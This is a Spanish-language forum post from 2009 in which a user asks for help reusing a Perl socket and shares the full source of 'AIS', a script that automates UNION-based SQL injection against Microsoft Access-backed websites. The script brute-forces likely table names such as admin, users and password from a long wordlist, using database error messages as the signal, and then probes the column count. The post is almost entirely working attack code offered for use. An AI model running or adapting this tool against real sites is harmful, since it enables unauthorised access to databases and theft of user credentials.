AIS: Access Injection SQL -- PERL

Iniciado por MagnoBalt, 16 Julio 2009, 04:06 AM

0 Miembros y 1 Visitante están viendo este tema.

MagnoBalt

Hola estoy teniendo un problema en perl. Estoy haciendo script  y para practicar socket decidi hacer una tool que inyecte codigo SQL a un motor de ACCESS. Ahora la cuestion es que no se como hacer para que cuando realizo el SOCKET con una pagina "A" (la cual es la vulnerable a inyecciones), ese mismo socket me sirva para realizar todas las inyecciones que nesesite. Sin volver a crear el objeto nuevamente.  
Este es mi script. Si se fijan en cada inyeccion creo un nuevo socket llamando a la funcion socket,y le paso como parametro el GET de la pagina q deseo obtener (que vendria hacer la inyeccion q mando por URL)
Creo q esto esta mal.. alguien me podria ayudar..
Como seria crear una sola vez el Socket y luego usar Los GET que quisiera

Código (perl) [Seleccionar]
#!/usr/bin/perl
use IO::Socket;
@nombretabla=('admin','tblUsers','usuarios','tblAdmin','user','users','username','usernames','usuario',
 'name','names','nombre','nombres','member','members','admin_table',
 'miembro','miembros','membername','admins','administrator','accesos',
 'administrators','passwd','password','passwords','pass','Pass',
 'tAdmin','tadmin','user_password','user_passwords','user_name','user_names',
 'member_password','mods','mod','moderators','moderator','user_email',
 'user_emails','user_mail','user_mails','mail','emails','email','address',
 'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',
 'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
 'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador',
 'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
 'sistema_usuario','sistema_password','contraseña','auth','key','senha',
 'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member',
     'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization',
     'membros','utilizadores','staff','nuke_authors','accounts','account','accnts',
     'associated','accnt','customers','customer','membres','administrateur','utilisateur',
     'tuser','tusers','utilisateurs','password','amministratore','god','God','authors',
     'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members',
 'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');
sub socket{
   my $inyec= shift;
$socket = new IO::Socket::INET(
PeerAddr => $host,
PeerPort => 'http(80)',
Proto => 'tcp') || die "[-] No se ha podido conectar a $host";
print $socket "GET " .$path.$inyec.$tabla. " HTTP/1.0\r\n";
print $socket "HOST:$host\r\n";
print $socket "\n\n";
return $socket;
 }

if (!@ARGV[1]) {
     print "======================================================= \n";
     print " Injection AIS V 1.0 beta by MagnoBalt \n\n";
     print " use perl $0 www.pagina.com.ar /noticia.php?id=\n\n";
 print " AIS:Acces Injection SQL \n";
     print "======================================================= \n";
     exit(0);
     }
$host =@ARGV[0];
$path=@ARGV[1];
print "\n[-]Buscando Tablas \n";
$iny="-1+UNION+SELECT+0+FROM+";
#print "antes de la funcion valor $iny\n";
foreach $tabla(@nombretabla) {
 chomp($tabla);  
 #empuezo a guardar linea por linea el source en $response
 $socket=&socket($iny);
 while (<$socket>) {$response .= "$_ "}
 if($response=~/The number of columns in the two selected tables or queries of a union query do not match/ || $response=~/ero de columnas de las dos tablas o consultas seleccionadas para una consulta de uni&#243;n no coincide/)
{
print "[+]Tabla $tabla FOUND\n";
$tabla_aux=$tabla;
   }
#print $response;
$response="";#limpio la variable
}#cierrre foreach
$inyc="";
#buscamos numeros de columnas
print "[-]Buscando columnas\n";
print "[-]Ingrese Maximo con cual intentar \n";
$col.=<STDIN>;
chomp($col);
print "[-]Buscando..\n";
$columna=1;
while ($columna <= $col) {
$union.=','.$columna;
$iny="-1+UNION+SELECT+0".$union."+FROM+".$tabla_aux;
$socket=&socket($iny);
while (<$socket>) { $response .= "$_ "}
#print $response;
if ($response=~/The number of columns in the two selected tables or queries of a union query do not match/ || $response=~/ero de columnas de las dos tablas o consultas seleccionadas para una consulta de uni&#243;n no coincide/)
{
print "[!] Fallo intento columna $columna\n";
}
else {
$columna++;
print "[+]La Web Posee $columna columnas\n ";
$columna = $col;#fuerzo la salida del while.
}
$response="";#limpio la variable
$columna++;
}



close $socket;
exit(0);